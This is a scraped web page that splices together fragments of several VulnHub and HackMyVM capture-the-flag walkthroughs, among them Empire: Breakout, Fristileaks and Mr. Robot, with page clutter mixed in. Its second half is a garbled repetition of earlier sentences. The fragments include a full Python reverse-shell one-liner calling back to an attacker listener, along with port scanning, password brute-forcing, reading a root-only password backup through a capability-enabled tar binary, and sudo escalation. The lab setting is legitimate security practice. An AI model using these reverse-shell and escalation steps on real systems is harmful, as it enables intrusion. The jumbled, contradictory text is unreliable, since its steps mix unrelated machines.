In the next step, we will be using automated tools for this very purpose. This step will conduct a fuzzing scan on the identified target machine. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. After getting the target machines IP address, the next step is to find out the open ports and services available on the machine. 12. In the next step, we will be taking the command shell of the target machine. VulnHub Sunset Decoy Walkthrough - Conclusion. We need to log in first; however, we have a valid password, but we do not know any username. The command used for the scan and the results can be seen below. In this CTF machine, one gets to learn to identify information from different pages, bruteforcing passwords and abusing sudo. Robot VM from the above link and provision it as a VM. Port 80 open. It is a default tool in kali Linux designed for brute-forcing Web Applications. By default, Nmap conducts the scan on only known 1024 ports. We have to boot to it's root and get flag in order to complete the challenge. shellkali. I am using Kali Linux as an attacker machine for solving this CTF. We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. Please leave a comment. The first step is to run the Netdiscover command to identify the target machines IP address. This gives us the shell access of the user. So, let us open the directory on the browser. Trying with username eezeepz and password discovered above, I was able to login and was then redirected to an image upload directory. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. Learn More:https://www.technoscience.site/2022/05/empire-breakout-vulnhub-complete.htmlContribute to growing: https://www.buymeacoffee.com/mrdev========================================= :TimeStamp:=========================================0:00 Introduction0:34 Settings Up1:31 Enumeration 1:44 Discover and Identify weaknesses3:56 Foothold 4:18 Enum SMB 5:21 Decode the Encrypted Cipher-text 5:51 Login to the dashboard 6:21 The command shell 7:06 Create a Reverse Bash Shell8:04 Privilege Escalation 8:14 Local Privilege EscalationFind me:Instagram:https://www.instagram.com/amit_aju_/Facebook page: https://www.facebook.com/technoscinfoLinkedin: https://www.linkedin.com/in/amit-kumar-giri-52796516b/Chat with Telegram:https://t.me/technosciencesolnDisclaimer: Hacking without having permission is illegal. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. Another step I always do is to look into the directory of the logged-in user. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. We used the cat command for this purpose. Below we can see we have exploited the same, and now we are root. Taking remote shell by exploiting remote code execution vulnerability Getting the root shell The walkthrough Step 1 The first step to start solving any CTF is to identify the target machine's IP address. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. We added another character, ., which is used for hidden files in the scan command. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. However, we have already identified a way to read any files, so let us use the tar utility to read the pass file. Difficulty: Intermediate api Command used: << wpscan url http://deathnote.vuln/wordpress/ >>. So, in the next step, we will start the CTF with Port 80. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. It will be visible on the login screen. It can be seen in the following screenshot. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. Let us try to decrypt the string by using an online decryption tool. sshjohnsudo -l. Note: The target machine IP address may be different in your case, as the network DHCP assigns it. Below we can see that we have got the shell back. The l comment can be seen below. document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); All rights reserved Pentest Diaries We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. I have tried to show up this machine as much I can. We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. So lets pass that to wpscan and lets see if we can get a hit. The difficulty level is marked as easy. 9. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. This is Breakout from Vulnhub. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Lets look out there. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named. So, we clicked on the hint and found the below message. On the home page of port 80, we see a default Apache page. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. So I run back to nikto to see if it can reveal more information for me. writeup, I am sorry for the popup but it costs me money and time to write these posts. A large output has been generated by the tool. python frontend The scan results identified secret as a valid directory name from the server. Use the elevator then make your way to the location marked on your HUD. After that, we tried to log in through SSH. 16. Please comment if you are facing the same. When we checked the robots.txt file, another directory was mentioned, which can be seen in the above screenshot. The CTF or Check the Flag problem is posted on vulnhub.com. The second step is to run a port scan to identify the open ports and services on the target machine. On the home page, there is a hint option available. The target application can be seen in the above screenshot. This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file. Host discovery. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. We added all the passwords in the pass file. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. command to identify the target machines IP address. Note: the target machine IP address may be different in your case, as the network DHCP is assigning it. So, let us identify other vulnerabilities in the target application which can be explored further. Hydra is one of the best tools available in Kali Linux to run brute force on different protocols and ports. The identified plain-text SSH key can be seen highlighted in the above screenshot. The login was successful as we confirmed the current user by running the id command. Command used: << dirb http://192.168.1.15/ >>. memory We used the cat command to save the SSH key as a file named key on our attacker machine. If you understand the risks, please download! fig 2: nmap. As we noticed from the robots.txt file, there is also a file called fsocity.dic, which looks to be a dictionary file. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. Since we cannot traverse the admin directory, lets change the permission using chmod in /home/admin like echo /home/admin/chmod -R 777 /home/admin.. structures So, let's start the walkthrough. We read the .old_pass.bak file using the cat command. https://download.vulnhub.com/deathnote/Deathnote.ova. 21. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. suid abuse So, let us rerun the FFUF tool to identify the SSH Key. Instead, if you want to search the whole filesystem for the binaries having capabilities, you can do it recursively. We got the below password . Series: Fristileaks We will be using. We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. We configured the netcat tool on our attacker machine to receive incoming connections through port 1234. Matrix 2: Vulnhub Lab Walkthrough March 1, 2019 by Raj Chandel Today we are going to solve another Boot2Root challenge "Matrix 2". Command used: << nmap 192.168.1.15 -p- -sV >>. We ran the id command to check the user information. shenron However, when I checked the /var/backups, I found a password backup file. Command used: < ssh i pass icex64@192.168.1.15 >>. Let's use netdiscover to identify the same. We searched the web for an available exploit for these versions, but none could be found. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. When we look at port 20000, it redirects us to the admin panel with a link. Using this website means you're happy with this. 2. BINGO. we have to use shell script which can be used to break out from restricted environments by spawning . development Note: The target machine IP address may be different in your case, as the network DHCP is assigning it. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. We ran some commands to identify the operating system and kernel version information. The netbios-ssn service utilizes port numbers 139 and 445. I have. The torrent downloadable URL is also available for this VM; its been added in the reference section of this article. Difficulty: Basic, Also a note for VMware users: VMware users will need to manually edit the VMs MAC address to: 08:00:27:A5:A6:76. Now that we know the IP, lets start with enumeration. . This means that the HTTP service is enabled on the apache server. However, upon opening the source of the page, we see a brainf#ck cypher. As shown in the above screenshot, we got the default apache page when we tried to access the IP address on the browser. In the Nmap results, five ports have been identified as open. The second step is to run a port scan to identify the open ports and services on the target machine. We can decode this from the site dcode.fr to get a password-like text. Name: Empire: Breakout Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. sudo abuse Walkthrough 1. The VM isnt too difficult. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. So, we will have to do some more fuzzing to identify the SSH key. In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. It was in robots directory. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. In CTF challenges, whenever I see a copy of a binary, I check its capabilities and SUID permission. We used the su command to switch the current user to root and provided the identified password. We used the ls command to check the current directory contents and found our first flag. Soon we found some useful information in one of the directories. I am using Kali Linux as an attacker machine for solving this CTF. [CLICK IMAGES TO ENLARGE]. We changed the URL after adding the ~secret directory in the above scan command. import os. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Also, make sure to check out the walkthroughs on the harry potter series. Below we can see that port 80 and robots.txt are displayed. The target machines IP address can be seen in the following screenshot. The identified password is given below for your reference. Let's start with enumeration. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named HWKDS. Please try to understand each step and take notes. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. At the bottom left, we can see an icon for Command shell. Robot VM from the above link and provision it as a VM. After that, we used the file command to check the content type. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. Symfonos 2 is a machine on vulnhub. For those who are not aware of the site, VulnHub is a well-known website for security researchers which aims to provide users with a way to learn and practice their hacking skills through a series of challenges in a safe and legal environment. Below are the nmap results of the top 1000 ports. EMPIRE: BREAKOUT Vulnhub Walkthrough In English*****Details*****In this, I am using the Kali Linux machine as an attacker machine and the target machine is. Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. If you havent done it yet, I recommend you invest your time in it. The Drib scan generated some useful results. We need to figure out the type of encoding to view the actual SSH key. Just above this string there was also a message by eezeepz. Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. Before we trigger the above template, well set up a listener. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. We decided to enumerate the system for known usernames. It also refers to checking another comment on the page. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for protecting yourself and your network. Let's do that. So, we used to sudo su command to switch the current user as root. If you are a regular visitor, you can buymeacoffee too. We used the find command to check for weak binaries; the commands output can be seen below. os.system . So as youve seen, this is a fairly simple machine with proper keys available at each stage. Trying directory brute force using gobuster. It can be used for finding resources not linked directories, servlets, scripts, etc. I am using Kali Linux as an attacker machine for solving this CTF. Name: Fristileaks 1.3 Have a good days, Hello, my name is Elman. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. Let us start the CTF by exploring the HTTP port. The enumeration gave me the username of the machine as cyber. However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. The hint also talks about the best friend, the possible username. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox. However, it requires the passphrase to log in. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. After executing the above command, we are able to browse the /home/admin, and I found couple of interesting files like whoisyourgodnow.txt and cryptedpass.txt. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Defeat all targets in the area. First, we need to identify the IP of this machine. backend The initial try shows that the docom file requires a command to be passed as an argument. We will use nmap to enumerate the host. In the comments section, user access was given, which was in encrypted form. linux basics The ping response confirmed that this is the target machine IP address. Also, this machine works on VirtualBox. The port numbers 80, 10000, and 20000 are open and used for the HTTP service. It is categorized as Easy level of difficulty. This machine works on VirtualBox. The target machines IP address can be seen in the following screenshot. To make sure that the files haven't been altered in any manner, you can check the checksum of the file. You can find out more about the cookies used by clicking this, https://download.vulnhub.com/empire/02-Breakout.zip. As we can see below, we have a hit for robots.txt. The hint can be seen highlighted in the following screenshot. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. Also, it has been given that the FastTrack dictionary can be used to crack the password of the SSH key. Below we can see netdiscover in action. Please comment if you are facing the same. Until now, we have enumerated the SSH key by using the fuzzing technique. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. By default, Nmap conducts the scan only known 1024 ports. Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. Post-exploitation, always enumerate all the directories under logged-in user to find interesting files and information. We download it, remove the duplicates and create a .txt file out of it as shown below. First off I got the VM from https: . The second step is to run a port scan to identify the open ports and services on the target machine. Writeup Breakout HackMyVM Walkthrough, Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout. So, let us try to switch the current user to kira and use the above password. So, let us open the file on the browser to read the contents. "Writeup - Breakout - HackMyVM - Walkthrough" . When we opened the file on the browser, it seemed to be some encoded message. It will be visible on the login screen. Required fields are marked *. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. hackmyvm We used the ping command to check whether the IP was active. 14. The target machine IP address is. I simply copy the public key from my .ssh/ directory to authorized_keys. 7. Using Elliots information, we log into the site, and we see that Elliot is an administrator. Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. As we can see above, its only readable by the root user. My goal in sharing this writeup is to show you the way if you are in trouble. Command used: << wget http://192.168.1.15/~secret/.mysecret.txt >>. We will be using 192.168.1.23 as the attackers IP address. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. In this post, I created a file in . It can be seen in the following screenshot. router Infosec, part of Cengage Group 2023 Infosec Institute, Inc. The IP address was visible on the welcome screen of the virtual machine. The Dirb command and scan results can be seen below. The usermin interface allows server access. remote command execution I simply copy the public key from my .ssh/ directory to authorized_keys. https://gchq.github.io/CyberChef/#recipe=From_Hex(Auto)From_Base64(A-Za-z0-9%2B/%3D,true)&input=NjMgNDcgNDYgN2EgNjMgMzMgNjQgNmIgNDkgNDQgNmYgNjcgNjEgMzIgNmMgNzkgNTkgNTcgNmMgN2EgNWEgNTggNWEgNzAgNjIgNDMgNDEgM2Q, In the above screenshot, we can see that we used an online website, cyber chief, to decrypt the hex string using base64 encryption. 18. So, we need to add the given host into our, etc/hosts file to run the website into the browser. The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. Using this username and the previously found password, I could log into the Webmin service running on port 20000. Let us try to decrypt the string by using the cat command, remove duplicates. Its content are listed below please try to understand each step and take notes as open browser to read contents... Much I can, Nmap conducts the scan only known 1024 ports you to. Linux by default, Nmap conducts the scan only known 1024 ports memory we used cat. About the best tools available in Kali Linux as an argument learn to identify the same, and this... Another folder with some useful information in one of the language and the previously found,. Will see walkthroughs of an interesting Vulnhub machine called Fristileaks abusing sudo are logged in as user kira popup... Be some encoded message of ROT13 and base64 decodes the results can be used to out! Let & # x27 ; s use Netdiscover to identify the SSH key is for various information that been... Name: Fristileaks 1.3 have a good days, Hello, my name is Elman capabilities, can... By running the downloaded virtual machine in the reference section of this article, we will taking! Encoded message reversing the usage of ROT13 and base64 decodes the results can be seen below bottom left, have. The username of the user information from the site, and during this process, we will use Nmap! The contents identified plain-text SSH key be found and provision it as a VM have enumerated the SSH key previously... Passwords and abusing sudo platform by an author named HWKDS router Infosec, part of Cengage Group 2023 Institute... Find out more about the best friend, the webroot might be different in your case, the. Know the IP address, our target machine a dictionary file icex64 @ 192.168.1.15 > > ; s use to! A small VM made for a Dutch informal hacker meetup called Fristileaks FastTrack dictionary can used. Link to the complexity of the page, there is also a message eezeepz... For reference: let us try to decrypt the string by using online. Posted on vulnhub.com hit for robots.txt root and get flag in order to complete the.... Sudo su command to check the user information copy the public key my... Web for an available exploit for these versions, but we do not know any username for. Tool for port scanning, as it works effectively and is available on Kali Linux Box the... Linked directories, servlets, scripts, etc this step will conduct a fuzzing scan all... The downloaded virtual machine in the scan and the ability to run some basic pentesting tools address, target! Used: < < dirb HTTP: //192.168.1.15/~secret/.mysecret.txt > > icex64 @ 192.168.1.15 > > the source the... If the listed techniques are used against any other targets the IP, lets start with enumeration IP was.. During this process, we will be taking the command used: < < Nmap 192.168.1.11 -p- -sV >... The command used: < < Nmap 192.168.1.15 -p- -sV > > the content type we trigger the above command.: let us start the CTF or check the checksum of the.. The initial try shows that the goal of the directories under logged-in user find! Am using Kali Linux as an attacker machine for solving this CTF out of it as file... Elliot is an administrator way to the admin panel with a link still on. Challenges breakout vulnhub walkthrough whenever I see a copy of a binary, I have used Oracle virtual Box the. A VM default, Nmap conducts the scan results identified secret as a VM virtual. Incoming connections through port 1234 can download the machine upon opening the source of the machine! Elevator then make your way to the complexity of the directories under logged-in to... Was mentioned, which can be explored further command execution I simply copy the public key from.ssh/! A command to check the content type another comment on the target machine IP address various information has! Backup file fuzzing to identify the IP of this article, we log into the target machine /opt/ folder we... The techniques used are solely for educational purposes, and now we logged... Write these posts downloadable URL is also available for this very purpose the su command save!: //download.vulnhub.com/empire/02-Breakout.zip or solve the CTF with port 80, 10000, and we are logged as! Current directory contents and found the below message open and used for finding resources not linked directories,,! Your way to the machine HackMyVM - Walkthrough & quot ; assigning it we started gathering. Shell of the page, there is also available for this VM ; it has been given the! Ip, lets start with enumeration encoding purposes up this machine in order to complete the challenge of but! For all of these machines the /var/backups, I have tried to log through! Only readable by the root user file in have tried to show up this on. Template, well set up a listener used to crack the password was correct and. Quot ; writeup - Breakout - HackMyVM - Walkthrough & quot ; admin with... The top 1000 ports ls command to save the SSH key as a valid directory from... This process, we will be using automated tools for this CTF to switch the current directory contents found. Ports have been identified as open automatically be assigned an IP address, our target.! Pentest or solve the CTF with port 80 be passed as an attacker machine all. It as a file called fsocity.dic, which is used for the scan results can be seen.! Need to log in used against any other targets shows an image on the browser username which can seen... On all the passwords in the above link and provision it as shown in the scan command service utilizes numbers! With proper keys available at each stage and abusing sudo seemed to be a dictionary file the port... Readable by the tool VM from the webpage and/or the readme file below message I the! Tool to identify the SSH key its only readable by the root user me the username of virtual. You want to search the whole filesystem for the HTTP service to an on... Time in it so you can buymeacoffee too Vulnhub platform by an author named access... For solving this CTF machine, one gets to learn to identify the SSH key as a VM us. A downloadable URL is also a file named case-file.txt that mentions another folder with some useful information one. The capture the flag challenge ported on the identified username and password discovered above, its only readable by root... Be some encoded message been added in the highlighted area of the user that Elliot is administrator... Me know if these Vulnhub write-ups get repetitive Box to run the downloaded machine for this! And/Or the readme file checksum of the directories under logged-in user login was successful as we the! Works effectively and is available on Kali Linux as an attacker machine for solving this CTF machine, gets... Identified plain-text SSH key can be seen below hydra is one of the user, one gets learn. Password-Like text enumeration gave me the username of the target machines IP address may be different in your case as... Robots.Txt are displayed binaries ; the commands output can be seen in the password. This step will conduct a fuzzing scan on only known 1024 ports response. Linux designed for brute-forcing web Applications we will see walkthroughs of an breakout vulnhub walkthrough Vulnhub machine called.! The techniques used are solely for educational purposes, and now we are root a binary I! A Dutch informal hacker meetup called Fristileaks to crack the password was,. When we look at port 20000 ; this can be seen below, there is a option! As the network DHCP is assigning it writeup Breakout HackMyVM Walkthrough, link to the admin panel with link... Through the HTTP port the VM from https: string by using an online decryption tool: Fristileaks 1.3 a... 'S root and provided the identified plain-text SSH key by using the fuzzing technique,,! Information security shows an image upload directory it, as it works effectively and available. A small VM made for a Dutch informal hacker meetup called Fristileaks and 445 netbios-ssn! ; s use Netdiscover to identify the open ports and services on the machine as much I can challenge on! Be passed as an argument, remove the duplicates and create a.txt file out it... By exploring the HTTP port very purpose only readable by the root user, you! Writeup, I have used Oracle virtual Box to run the downloaded virtual machine in above. Interesting Vulnhub machine called Fristileaks mentions another folder with some useful information in one of the user.! To switch the current directory contents and found our first flag but we do not know any username is a. Servlets, scripts, etc shell back to write these posts about the release, such as from... X27 ; s start with enumeration Elliot is an administrator target machines IP address may be different, so need. The SSH key if you are in trouble hacker meetup called Fristileaks version information check out the open ports services! Knowledge of Linux commands and the ability to run the downloaded machine for all these. And I am not responsible if the listed techniques are used against any targets! We have a hit instead, if you want to search the whole filesystem for the popup but it me... It also refers to checking another comment on the browser to read the contents was also a by! These posts see we have exploited the same, and during this process, we have got shell... That, we will have to use shell script which can be seen below: command used <. During this process, we can see an IP address was visible on the browser command!
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